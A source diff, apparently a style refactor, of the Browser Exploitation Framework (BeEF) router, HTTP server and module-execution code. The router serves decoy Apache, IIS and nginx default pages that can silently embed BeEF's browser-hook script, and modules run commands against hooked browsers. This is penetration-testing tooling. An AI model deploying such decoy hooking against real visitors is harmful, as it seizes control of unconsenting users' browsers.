@@ -7,11 +7,9 @@
module BeEF
module Core
module Router
#@note This is the main Router parent class.
#@note All the HTTP handlers registered on BeEF will extend this class.
# @note This is the main Router parent class.
# @note All the HTTP handlers registered on BeEF will extend this class.
class Router < Sinatra::Base
config = BeEF::Core::Configuration.instance
configure do
set :show_exceptions, false
@@ -19,240 +17,239 @@ module BeEF
# @note Override default 404 HTTP response
not_found do
if config.get("beef.http.web_server_imitation.enable")
type = config.get("beef.http.web_server_imitation.type")
if config.get('beef.http.web_server_imitation.enable')
type = config.get('beef.http.web_server_imitation.type')
case type
when "apache"
#response body
BeEF::Core::Router::APACHE_BODY
when "iis"
#response body
BeEF::Core::Router::IIS_BODY
when "nginx"
#response body
BeEF::Core::Router::NGINX_BODY
else
"Not Found."
when 'apache'
# response body
BeEF::Core::Router::APACHE_BODY
when 'iis'
# response body
BeEF::Core::Router::IIS_BODY
when 'nginx'
# response body
BeEF::Core::Router::NGINX_BODY
else
'Not Found.'
end
else
"Not Found."
'Not Found.'
end
end
before do
# @note Override Server HTTP response header
if config.get("beef.http.web_server_imitation.enable")
type = config.get("beef.http.web_server_imitation.type")
if config.get('beef.http.web_server_imitation.enable')
type = config.get('beef.http.web_server_imitation.type')
case type
when "apache"
headers BeEF::Core::Router::APACHE_HEADER
when "iis"
headers BeEF::Core::Router::IIS_HEADER
when "nginx"
headers BeEF::Core::Router::NGINX_HEADER
else
headers "Server" => '',
"Content-Type" => "text/html"
print_error "You have an error in beef.http.web_server_imitation.type!"
print_more "Supported values are: apache, iis, nginx."
when 'apache'
headers BeEF::Core::Router::APACHE_HEADER
when 'iis'
headers BeEF::Core::Router::IIS_HEADER
when 'nginx'
headers BeEF::Core::Router::NGINX_HEADER
else
headers 'Server' => '',
'Content-Type' => 'text/html'
print_error 'You have an error in beef.http.web_server_imitation.type!'
print_more 'Supported values are: apache, iis, nginx.'
end
end
# @note If CORS is enabled, expose the appropriate headers
if config.get("beef.http.restful_api.allow_cors")
allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
if config.get('beef.http.restful_api.allow_cors')
allowed_domains = config.get('beef.http.restful_api.cors_allowed_domains')
# Responses to preflight OPTIONS requests need to respond with hTTP 200
# and be able to handle requests with a JSON content-type
if request.request_method == 'OPTIONS'
headers "Access-Control-Allow-Origin" => allowed_domains,
"Access-Control-Allow-Methods" => "POST, GET",
"Access-Control-Allow-Headers" => "Content-Type"
headers 'Access-Control-Allow-Origin' => allowed_domains,
'Access-Control-Allow-Methods' => 'POST, GET',
'Access-Control-Allow-Headers' => 'Content-Type'
halt 200
end
headers "Access-Control-Allow-Origin" => allowed_domains,
"Access-Control-Allow-Methods" => "POST, GET"
headers 'Access-Control-Allow-Origin' => allowed_domains,
'Access-Control-Allow-Methods' => 'POST, GET'
end
end
# @note Default root page
get "/" do
if config.get("beef.http.web_server_imitation.enable")
bp = config.get "beef.extension.admin_ui.base_path"
type = config.get("beef.http.web_server_imitation.type")
get '/' do
if config.get('beef.http.web_server_imitation.enable')
bp = config.get 'beef.extension.admin_ui.base_path'
type = config.get('beef.http.web_server_imitation.type')
case type
when "apache"
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">" +
"<head>" +
"<title>Apache HTTP Server Test Page powered by CentOS</title>" +
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />" +
"<style type=\"text/css\">" +
"body {" +
"background-color: #fff; " +
"color: #000;" +
"font-size: 0.9em;" +
"font-family: sans-serif,helvetica;" +
"margin: 0;" +
"padding: 0; " +
"} " +
":link { " +
"color: #0000FF; " +
"} " +
":visited { " +
"color: #0000FF; " +
"} " +
"a:hover { " +
"color: #3399FF; " +
"} " +
"h1 { " +
" text-align: center; " +
" margin: 0; " +
" padding: 0.6em 2em 0.4em; " +
" background-color: #3399FF;" +
" color: #ffffff; " +
" font-weight: normal; " +
" font-size: 1.75em; " +
" border-bottom: 2px solid #000; " +
"} " +
"h1 strong {" +
"font-weight: bold; " +
"} " +
"h2 { " +
" font-size: 1.1em;" +
"font-weight: bold; " +
"} " +
".content { " +
" padding: 1em 5em; " +
"} " +
".content-columns { " +
" /* Setting relative positioning allows for " +
" absolute positioning for sub-classes */ " +
" position: relative; " +
" padding-top: 1em; " +
"} " +
".content-column-left { " +
" /* Value for IE/Win; will be overwritten for other browsers */" +
" width: 47%; " +
" padding-right: 3%; " +
" float: left; " +
" padding-bottom: 2em; " +
"} " +
".content-column-right { " +
" /* Values for IE/Win; will be overwritten for other browsers */" +
" width: 47%; " +
" padding-left: 3%; " +
" float: left; " +
" padding-bottom: 2em; " +
"} " +
".content-columns>.content-column-left, .content-columns>.content-column-right {" +
" /* Non-IE/Win */" +
"} " +
"img { " +
" border: 2px solid #fff; " +
" padding: 2px; " +
" margin: 2px; " +
"} " +
"a:hover img { " +
" border: 2px solid #3399FF; " +
"} " +
"</style> " +
"</head> " +
"<body> " +
"<h1>Apache 2 Test Page<br><font size=\"-1\"><strong>powered by</font> CentOS</strong></h1>" +
"<div class=\"content\">" +"<div class=\"content-middle\">" +
"<p>This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.</p>" +
"</div>" +
"<hr />" +
"<div class=\"content-columns\">" +
"<div class=\"content-column-left\"> " +
"<h2>If you are a member of the general public:</h2>" +
"<p>The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.</p>" +
"<p>If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.</p> " +
"<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to \"webmaster@example.com\".</p>" +
"</div>" +
"<div class=\"content-column-right\">" +
"<h2>If you are the website administrator:</h2>" +
"<p>You may now add content to the directory <tt>/var/www/html/</tt>. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file <tt>/etc/httpd/conf.d/welcome.conf</tt>.</p>" +
"<p>You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!</p>" +
"<p><a href=\"http://httpd.apache.org/\"><img src=\"#{bp}/media/images/icons/apache_pb.gif\" alt=\"[ Powered by Apache ]\"/></a> <a href=\"http://www.centos.org/\"><img src=\"#{bp}/media/images/icons/powered_by_rh.png\" alt=\"[ Powered by CentOS Linux ]\" width=\"88\" height=\"31\" /></a></p>" +
"</div>" +
"</div>" +
"</div>" +
" <div class=\"content\">" +
"<div class=\"content-middle\"><h2>About CentOS:</h2><b>The Community ENTerprise Operating System</b> (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.</p>" +
"<p>For information on CentOS please visit the <a href=\"http://www.centos.org/\">CentOS website</a>.</p>" +
"<p><h2>Note:</h2><p>CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. <b>If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.</b>" +
"<p>Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.</p> " +
"<p>For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:</p>" +
"<p><a href=\"http://www.internic.net/whois.html\">http://www.internic.net/whois.html</a></p>" +
"</div>" +
"</div>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
"</body>" +
"</html>"
when "iis"
"<html>" +
"<head>" +
"<meta HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
"<title ID=titletext>Under Construction</title>" +
"</head>" +
"<body bgcolor=white>" +
"<table>" +
"<tr>" +
"<td ID=tableProps width=70 valign=top align=center>" +
"<img ID=pagerrorImg src=\"#{bp}/media/images/icons/pagerror.gif\" width=36 height=48>" +
"<td ID=tablePropsWidth width=400>" +
"<h1 ID=errortype style=\"font:14pt/16pt verdana; color:#4e4e4e\">" +
"<P ID=Comment1><!--Problem--><P ID=\"errorText\">Under Construction</h1>" +
"<P ID=Comment2><!--Probable causes:<--><P ID=\"errordesc\"><font style=\"font:9pt/12pt verdana; color:black\">" +
"The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured." +
"<P ID=term1>Please try this site again later. If you still experience the problem, try contacting the Web site administrator." +
"<hr size=1 color=\"blue\">" +
"<P ID=message1>If you are the Web site administrator and feel you have received this message in error, please see &quot;Enabling and Disabling Dynamic Content&quot; in IIS Help." +
"<h5 ID=head1>To access IIS Help</h5>" +
"<ol>" +
"<li ID=bullet1>Click <b>Start</b>, and then click <b>Run</b>." +
"<li ID=bullet2>In the <b>Open</b> text box, type <b>inetmgr</b>. IIS Manager appears." +
"<li ID=bullet3>From the <b>Help</b> menu, click <b>Help Topics</b>." +
"<li ID=bullet4>Click <b>Internet Information Services</b>.</ol>" +
"</td>" +
"</tr>" +
"</table>" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
"</body>" +
"</html>"
when "nginx"
"<!DOCTYPE html>\n" +
"<html>\n" +
"<head>\n" +
"<title>Welcome to nginx!</title>\n" +
"<style>\n" +
" body {\n" +
" width: 35em;\n" +
" margin: 0 auto;\n" +
" font-family: Tahoma, Verdana, Arial, sans-serif;\n" +
" }\n" +
"</style>\n" +
"</head>\n" +
"<body>\n" +
"<h1>Welcome to nginx!</h1>\n" +
"<p>If you see this page, the nginx web server is successfully installed and\n" +
"working. Further configuration is required.</p>\n\n" +
"<p>For online documentation and support please refer to\n" +
"<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\n" +
"Commercial support is available at\n" +
"<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n" +
"<p><em>Thank you for using nginx.</em></p>\n" +
("<script src='#{config.get("beef.http.hook_file")}'></script>" if config.get("beef.http.web_server_imitation.hook_root")).to_s +
"</body>\n" +
"</html>\n"
else
""
when 'apache'
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">' \
'<head>' \
'<title>Apache HTTP Server Test Page powered by CentOS</title>' \
'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' \
'<style type="text/css">' \
'body {' \
'background-color: #fff; ' \
'color: #000;' \
'font-size: 0.9em;' \
'font-family: sans-serif,helvetica;' \
'margin: 0;' \
'padding: 0; ' \
'} ' \
':link { ' \
'color: #0000FF; ' \
'} ' \
':visited { ' \
'color: #0000FF; ' \
'} ' \
'a:hover { ' \
'color: #3399FF; ' \
'} ' \
'h1 { ' \
"\ttext-align: center; " \
"\tmargin: 0; " \
"\tpadding: 0.6em 2em 0.4em; " \
"\tbackground-color: #3399FF;" \
"\tcolor: #ffffff; " \
"\tfont-weight: normal; " \
"\tfont-size: 1.75em; " \
"\tborder-bottom: 2px solid #000; " \
'} ' \
'h1 strong {' \
'font-weight: bold; ' \
'} ' \
'h2 { ' \
"\tfont-size: 1.1em;" \
'font-weight: bold; ' \
'} ' \
'.content { ' \
"\tpadding: 1em 5em; " \
'} ' \
'.content-columns { ' \
"\t/* Setting relative positioning allows for " \
"\tabsolute positioning for sub-classes */ " \
"\tposition: relative; " \
"\tpadding-top: 1em; " \
'} ' \
'.content-column-left { ' \
"\t/* Value for IE/Win; will be overwritten for other browsers */" \
"\twidth: 47%; " \
"\tpadding-right: 3%; " \
"\tfloat: left; " \
"\tpadding-bottom: 2em; " \
'} ' \
'.content-column-right { ' \
"\t/* Values for IE/Win; will be overwritten for other browsers */" \
"\twidth: 47%; " \
"\tpadding-left: 3%; " \
"\tfloat: left; " \
"\tpadding-bottom: 2em; " \
'} ' \
'.content-columns>.content-column-left, .content-columns>.content-column-right {' \
"\t/* Non-IE/Win */" \
'} ' \
'img { ' \
"\tborder: 2px solid #fff; " \
"\tpadding: 2px; " \
"\tmargin: 2px; " \
'} ' \
'a:hover img { ' \
"\tborder: 2px solid #3399FF; " \
'} ' \
'</style> ' \
'</head> ' \
'<body> ' \
'<h1>Apache 2 Test Page<br><font size="-1"><strong>powered by</font> CentOS</strong></h1>' \
'<div class="content">' + '<div class="content-middle">' \
'<p>This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.</p>' \
'</div>' \
'<hr />' \
'<div class="content-columns">' \
'<div class="content-column-left"> ' \
'<h2>If you are a member of the general public:</h2>' \
'<p>The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.</p>' \
"<p>If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.</p> " \
'<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to "webmaster@example.com".</p>' \
'</div>' \
'<div class="content-column-right">' \
'<h2>If you are the website administrator:</h2>' \
'<p>You may now add content to the directory <tt>/var/www/html/</tt>. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file <tt>/etc/httpd/conf.d/welcome.conf</tt>.</p>' \
'<p>You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!</p>' \
"<p><a href=\"http://httpd.apache.org/\"><img src=\"#{bp}/media/images/icons/apache_pb.gif\" alt=\"[ Powered by Apache ]\"/></a> <a href=\"http://www.centos.org/\"><img src=\"#{bp}/media/images/icons/powered_by_rh.png\" alt=\"[ Powered by CentOS Linux ]\" width=\"88\" height=\"31\" /></a></p>" \
'</div>' \
'</div>' \
'</div>' \
' <div class="content">' \
'<div class="content-middle"><h2>About CentOS:</h2><b>The Community ENTerprise Operating System</b> (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.</p>' \
'<p>For information on CentOS please visit the <a href="http://www.centos.org/">CentOS website</a>.</p>' \
'<p><h2>Note:</h2><p>CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. <b>If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.</b>' \
"<p>Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.</p> " \
'<p>For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:</p>' \
'<p><a href="http://www.internic.net/whois.html">http://www.internic.net/whois.html</a></p>' \
'</div>' \
'</div>' +
("<script src='#{config.get('beef.http.hook_file')}'></script>" if config.get('beef.http.web_server_imitation.hook_root')).to_s +
'</body>' \
'</html>'
when 'iis'
'<html>' \
'<head>' \
'<meta HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">' \
'<title ID=titletext>Under Construction</title>' \
'</head>' \
'<body bgcolor=white>' \
'<table>' \
'<tr>' \
'<td ID=tableProps width=70 valign=top align=center>' \
"<img ID=pagerrorImg src=\"#{bp}/media/images/icons/pagerror.gif\" width=36 height=48>" \
'<td ID=tablePropsWidth width=400>' \
'<h1 ID=errortype style="font:14pt/16pt verdana; color:#4e4e4e">' \
'<P ID=Comment1><!--Problem--><P ID="errorText">Under Construction</h1>' \
'<P ID=Comment2><!--Probable causes:<--><P ID="errordesc"><font style="font:9pt/12pt verdana; color:black">' \
'The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured.' \
'<P ID=term1>Please try this site again later. If you still experience the problem, try contacting the Web site administrator.' \
'<hr size=1 color="blue">' \
'<P ID=message1>If you are the Web site administrator and feel you have received this message in error, please see &quot;Enabling and Disabling Dynamic Content&quot; in IIS Help.' \
'<h5 ID=head1>To access IIS Help</h5>' \
'<ol>' \
'<li ID=bullet1>Click <b>Start</b>, and then click <b>Run</b>.' \
'<li ID=bullet2>In the <b>Open</b> text box, type <b>inetmgr</b>. IIS Manager appears.' \
'<li ID=bullet3>From the <b>Help</b> menu, click <b>Help Topics</b>.' \
'<li ID=bullet4>Click <b>Internet Information Services</b>.</ol>' \
'</td>' \
'</tr>' \
'</table>' +
("<script src='#{config.get('beef.http.hook_file')}'></script>" if config.get('beef.http.web_server_imitation.hook_root')).to_s +
'</body>' \
'</html>'
when 'nginx'
"<!DOCTYPE html>\n" \
"<html>\n" \
"<head>\n" \
"<title>Welcome to nginx!</title>\n" \
"<style>\n" \
" body {\n" \
" width: 35em;\n" \
" margin: 0 auto;\n" \
" font-family: Tahoma, Verdana, Arial, sans-serif;\n" \
" }\n" \
"</style>\n" \
"</head>\n" \
"<body>\n" \
"<h1>Welcome to nginx!</h1>\n" \
"<p>If you see this page, the nginx web server is successfully installed and\n" \
"working. Further configuration is required.</p>\n\n" \
"<p>For online documentation and support please refer to\n" \
"<a href=\"http://nginx.org/\">nginx.org</a>.<br/>\n" \
"Commercial support is available at\n" \
"<a href=\"http://nginx.com/\">nginx.com</a>.</p>\n\n" \
"<p><em>Thank you for using nginx.</em></p>\n" +
("<script src='#{config.get('beef.http.hook_file')}'></script>" if config.get('beef.http.web_server_imitation.hook_root')).to_s +
"</body>\n" \
"</html>\n"
else
''
end
end
end
end
end
end

View File

@@ -50,11 +50,11 @@ module BeEF
# argument type checking
raise TypeError, '"url" needs to be a string' unless url.string?
if args.nil?
@mounts[url] = http_handler_class
else
@mounts[url] = http_handler_class, *args
end
@mounts[url] = if args.nil?
http_handler_class
else
[http_handler_class, *args]
end
print_debug "Server: mounted handler '#{url}'"
end
@@ -65,6 +65,7 @@ module BeEF
#
def unmount(url)
raise TypeError, '"url" needs to be a string' unless url.string?
@mounts.delete url
end
@@ -80,7 +81,7 @@ module BeEF
#
def prepare
# Create http handler for the javascript hook file
mount(@configuration.get("beef.http.hook_file").to_s, BeEF::Core::Handlers::HookedBrowsers.new)
mount(@configuration.get('beef.http.hook_file').to_s, BeEF::Core::Handlers::HookedBrowsers.new)
# Create handler for the initialization checks (Browser Details)
mount('/init', BeEF::Core::Handlers::BrowserDetails)
@@ -93,7 +94,7 @@ module BeEF
return if @http_server
# Set the logging level of Thin to match the config
# Set the logging level of Thin to match the config
Thin::Logging.silent = true
if @configuration.get('beef.http.debug') == true
Thin::Logging.silent = false
@@ -104,7 +105,8 @@ module BeEF
@http_server = Thin::Server.new(
@configuration.get('beef.http.host'),
@configuration.get('beef.http.port'),
@rack_app)
@rack_app
)
# Configure SSL/TLS
return unless @configuration.get('beef.http.https.enable') == true
@@ -116,18 +118,14 @@ module BeEF
end
cert_key = @configuration.get 'beef.http.https.key'
unless cert_key.start_with? '/'
cert_key = File.expand_path cert_key, $root_dir
end
cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/'
unless File.exist? cert_key
print_error "Error: #{cert_key} does not exist"
exit 1
end
cert = @configuration.get 'beef.http.https.cert'
unless cert.start_with? '/'
cert = File.expand_path cert, $root_dir
end
cert = File.expand_path cert, $root_dir unless cert.start_with? '/'
unless File.exist? cert
print_error "Error: #{cert} does not exist"
exit 1
@@ -135,9 +133,9 @@ module BeEF
@http_server.ssl = true
@http_server.ssl_options = {
:private_key_file => cert_key,
:cert_chain_file => cert,
:verify_peer => false
private_key_file: cert_key,
cert_chain_file: cert,
verify_peer: false
}
if Digest::SHA256.hexdigest(File.read(cert)).eql?('978f761fc30cbd174eab0c6ffd2d235849260c0589a99262f136669224c8d82a') ||
@@ -145,10 +143,10 @@ module BeEF
print_warning 'Warning: Default SSL cert/key in use.'
print_more 'Use the generate-certificate utility to generate a new certificate.'
end
rescue => e
rescue StandardError => e
print_error "Failed to prepare HTTP server: #{e.message}"
print_error e.backtrace
exit 1
print_error e.backtrace
exit 1
end
#
@@ -161,6 +159,7 @@ module BeEF
rescue RuntimeError => e
# port is in use
raise unless e.message.include? 'no acceptor'
print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF to an invalid IP."
print_error 'Is BeEF already running? Exiting...'
exit 127

View File

@@ -5,7 +5,6 @@
#
module BeEF
module Module
# Checks to see if module key is in configuration
# @param [String] mod module key
# @return [Boolean] if the module key exists in BeEF's configuration
@@ -37,14 +36,14 @@ module BeEF
# Gets all module options
# @param [String] mod module key
# @return [Hash] a hash of all the module options
# @note API Fire: get_options
# @note API Fire: get_options
def self.get_options(mod)
if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'get_options', [mod]
options = BeEF::API::Registrar.instance.fire BeEF::API::Module, 'get_options', mod
mo = []
options.each do |o|
unless o[:data].is_a?(Array)
print_debug "API Warning: return result for BeEF::Module.get_options() was not an array."
print_debug 'API Warning: return result for BeEF::Module.get_options() was not an array.'
next
end
mo += o[:data]
@@ -68,9 +67,10 @@ module BeEF
# Gets all module payload options
# @param [String] mod module key
# @return [Hash] a hash of all the module options
# @note API Fire: get_options
def self.get_payload_options(mod,payload)
# @note API Fire: get_options
def self.get_payload_options(mod, payload)
return [] unless BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'get_payload_options', [mod, nil])
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'get_payload_options', mod, payload)
end
@@ -104,8 +104,8 @@ module BeEF
# API call for post-soft-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod)
true
rescue => e
print_error "There was a problem soft loading the module '#{mod}'"
rescue StandardError => e
print_error "There was a problem soft loading the module '#{mod}': #{e.message}"
false
end
@@ -143,7 +143,7 @@ module BeEF
# API call for post-hard-load module
BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod)
true
rescue => e
rescue StandardError => e
BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", false)
print_error "There was a problem loading the module '#{mod}'"
print_debug "Hard load module syntax error: #{e}"
@@ -155,6 +155,7 @@ module BeEF
# @return [Boolean] if already hard loaded then true otherwise (see #hard_load)
def self.check_hard_load(mod)
return true if is_loaded mod
hard_load mod
end
@@ -162,7 +163,7 @@ module BeEF
# @param [Integer] id module database ID
# @return [String] module key
def self.get_key_by_database_id(id)
ret = BeEF::Core::Configuration.instance.get('beef.module').select do |k, v|
ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|
v.key?('db') && v['db']['id'].to_i == id.to_i
end
ret.is_a?(Array) ? ret.first.first : ret.keys.first
@@ -172,7 +173,7 @@ module BeEF
# @param [Class] c module class
# @return [String] module key
def self.get_key_by_class(c)
ret = BeEF::Core::Configuration.instance.get('beef.module').select do |k, v|
ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|
v.key?('class') && v['class'].to_s.eql?(c.to_s)
end
ret.is_a?(Array) ? ret.first.first : ret.keys.first
@@ -180,7 +181,7 @@ module BeEF
# Checks to see if module class exists
# @param [String] mod module key
# @return [Boolean] returns whether or not the class exists
# @return [Boolean] returns whether or not the class exists
def self.exists?(mod)
kclass = BeEF::Core::Command.const_get mod.capitalize
kclass.is_a? Class
@@ -204,7 +205,7 @@ module BeEF
return nil unless opts.is_a? Hash
unless opts.key? 'browser'
print_error "BeEF::Module.support() was passed a hash without a valid browser constant"
print_error 'BeEF::Module.support() was passed a hash without a valid browser constant'
return nil
end
@@ -217,30 +218,26 @@ module BeEF
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << {'rating' => 2, 'const' => k}
results << { 'rating' => 2, 'const' => k }
end
when Hash
break if opts['browser'] != v.keys.first && v.keys.first != BeEF::Core::Constants::Browsers::ALL
subv = v[v.keys.first]
rating = 1
# version check
if opts.key?('ver')
if subv.key?('min_ver')
if subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver']
rating += 1
else
break
end
break unless subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver']
rating += 1
end
if subv.key?('max_ver')
if (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest'
rating += 1
else
break
end
break unless (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest'
rating += 1
end
end
# os check
if opts.key?('os') && subv.key?('os')
match = false
@@ -271,18 +268,16 @@ module BeEF
# if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
# rating += 1
# end
results << {'rating' => rating, 'const' => k}
results << { 'rating' => rating, 'const' => k }
end
end
next unless v.eql? BeEF::Core::Constants::Browsers::ALL
rating = 1
if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
rating = 1
end
rating = 1 if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
results << {'rating' => rating, 'const' => k}
results << { 'rating' => rating, 'const' => k }
end
end
@@ -290,9 +285,7 @@ module BeEF
result = {}
results.each do |r|
if result == {} || r['rating'] > result['rating']
result = {'rating' => r['rating'], 'const' => r['const']}
end
result = { 'rating' => r['rating'], 'const' => r['const'] } if result == {} || r['rating'] > result['rating']
end
result['const']
@@ -308,38 +301,37 @@ module BeEF
targets = {}
target_config.each do |k, v|
begin
next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k.upcase}"
key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k.upcase}"
targets[key] = [] unless targets.key? key
browser = nil
next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k.upcase}"
case v
when String
browser = match_target_browser v
key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k.upcase}"
targets[key] = [] unless targets.key? key
browser = nil
case v
when String
browser = match_target_browser v
targets[key] << browser if browser
when Array
v.each do |c|
browser = match_target_browser c
targets[key] << browser if browser
when Array
v.each do |c|
browser = match_target_browser c
targets[key] << browser if browser
end
when Hash
v.each do |k, c|
browser = match_target_browser k
next unless browser
end
when Hash
v.each do |k, c|
browser = match_target_browser k
next unless browser
case c
when TrueClass
targets[key] << browser
when Hash
details = match_target_browser_spec c
targets[key] << {browser => details} if details
end
case c
when TrueClass
targets[key] << browser
when Hash
details = match_target_browser_spec c
targets[key] << { browser => details } if details
end
end
rescue NameError
print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'"
end
rescue NameError
print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'"
end
BeEF::Core::Configuration.instance.clear "#{mod_str}.target"
@@ -351,7 +343,7 @@ module BeEF
# @param [String] v user defined browser
# @return [Constant] a BeEF browser constant
def self.match_target_browser(v)
unless v.class == String
unless v.instance_of?(String)
print_error 'Invalid datatype passed to BeEF::Module.match_target_browser()'
return false
end
@@ -366,24 +358,20 @@ module BeEF
# Translates complex browser target configuration
# @note Takes a complex user defined browser hash and converts it to applicable BeEF constants
# @param [Hash] v user defined browser hash
# @param [Hash] v user defined browser hash
# @return [Hash] BeEF constants hash
def self.match_target_browser_spec(v)
unless v.class == Hash
unless v.instance_of?(Hash)
print_error 'Invalid datatype passed to BeEF::Module.match_target_browser_spec()'
return {}
end
browser = {}
if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest')
browser['max_ver'] = v['max_ver']
end
browser['max_ver'] = v['max_ver'] if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest')
if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float))
browser['min_ver'] = v['min_ver']
end
browser['min_ver'] = v['min_ver'] if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float))
return browser unless v.key? 'os'
return browser unless v.key?('os')
case v['os']
when String
@@ -405,7 +393,7 @@ module BeEF
# @param [String] v user defined OS string
# @return [Constant] BeEF OS Constant
def self.match_target_os(v)
unless v.class == String
unless v.instance_of?(String)
print_error 'Invalid datatype passed to BeEF::Module.match_target_os()'
return false
end
@@ -418,13 +406,13 @@ module BeEF
false
end
# Executes a module
# Executes a module
# @param [String] mod module key
# @param [String] hbsession hooked browser session
# @param [Array] opts array of module execute options (see #get_options)
# @return [Integer] the command_id associated to the module execution when info is persisted. nil if there are errors.
# @note The return value of this function does not specify if the module was successful, only that it was executed within the framework
def self.execute(mod, hbsession, opts=[])
def self.execute(mod, hbsession, opts = [])
unless is_present(mod) && is_enabled(mod)
print_error "Module not found '#{mod}'. Failed to execute module."
return nil
@@ -445,15 +433,13 @@ module BeEF
check_hard_load mod
command_module = get_definition(mod).new(mod)
if command_module.respond_to?(:pre_execute)
command_module.pre_execute
end
command_module.pre_execute if command_module.respond_to?(:pre_execute)
merge_options(mod, [])
c = BeEF::Core::Models::Command.create(
:data => merge_options(mod, opts).to_json,
:hooked_browser_id => hb.id,
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
:creationdate => Time.new.to_i
data: merge_options(mod, opts).to_json,
hooked_browser_id: hb.id,
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
creationdate: Time.new.to_i
)
c.id
end
@@ -471,9 +457,7 @@ module BeEF
defaults.each do |v|
mer = nil
opts.each do |o|
if v.key?('name') && o.key?('name') && v['name'] == o['name']
mer = v.deep_merge o
end
mer = v.deep_merge o if v.key?('name') && o.key?('name') && v['name'] == o['name']
end
mer.nil? ? merged.push(v) : merged.push(mer)

View File

@@ -5,7 +5,6 @@
#
module BeEF
module Modules
# Return configuration hashes of all modules that are enabled
# @return [Array] configuration hashes of all enabled modules
def self.get_enabled

View File

